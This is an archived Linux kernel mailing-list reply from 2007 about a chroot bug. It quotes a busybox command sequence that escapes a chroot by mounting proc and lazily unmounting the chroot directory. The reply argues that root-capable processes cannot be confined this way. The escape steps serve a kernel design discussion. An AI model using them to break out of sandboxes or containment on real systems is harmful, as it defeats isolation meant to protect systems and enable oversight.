lkml.org 
[lkml]   [2007]   [Sep]   [26]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
From
SubjectRe: Chroot bug

>
> This is basically both painfully racy and easily broken with umount
> and/or access to proc. See this busybox-compatible example:
>
> ## Set up chroot
> mkdir /root1
> mount -o mode=0750 -t tmpfs tmpfs /root1
> cp -a /bin/busybox /root1/busybox
>
> ## Enter chroot
> chroot /root1 /busybox
>
> ## Mount proc
> /busybox mkdir /proc
> /busybox mount -t proc proc /proc
>
> ## Poke around root filesystem (this may be all you need)
> /busybox ls /proc/1/root/
>
> ## Detach our chroot so we're no longer a sub-directory
> /busybox umount -l /proc/1/root/root1
>
> ## Now we can easily chroot to the original root, since it isn't in
> our ".." path
> exec /busybox chroot /proc/1/root /bin/sh
>
>
> See how easy that is? Unless you stick the above parent-directory
> check (which is still racy against directories being moved around) for
> *EVERY* directory component of *EVERY* open/chdir-ish syscall, you are
> still going to be easily worked around through many different methods.
>
so there is no discussion about mount & others. I think, if you have
CAP_SYS_MOUNT/CAP_SYS_ADMIN, you need not solve chroot() and how to
break it.
-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/

\
 
 \ /
  Last update: 2007-09-26 17:05    [W:0.071 / U:0.924 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site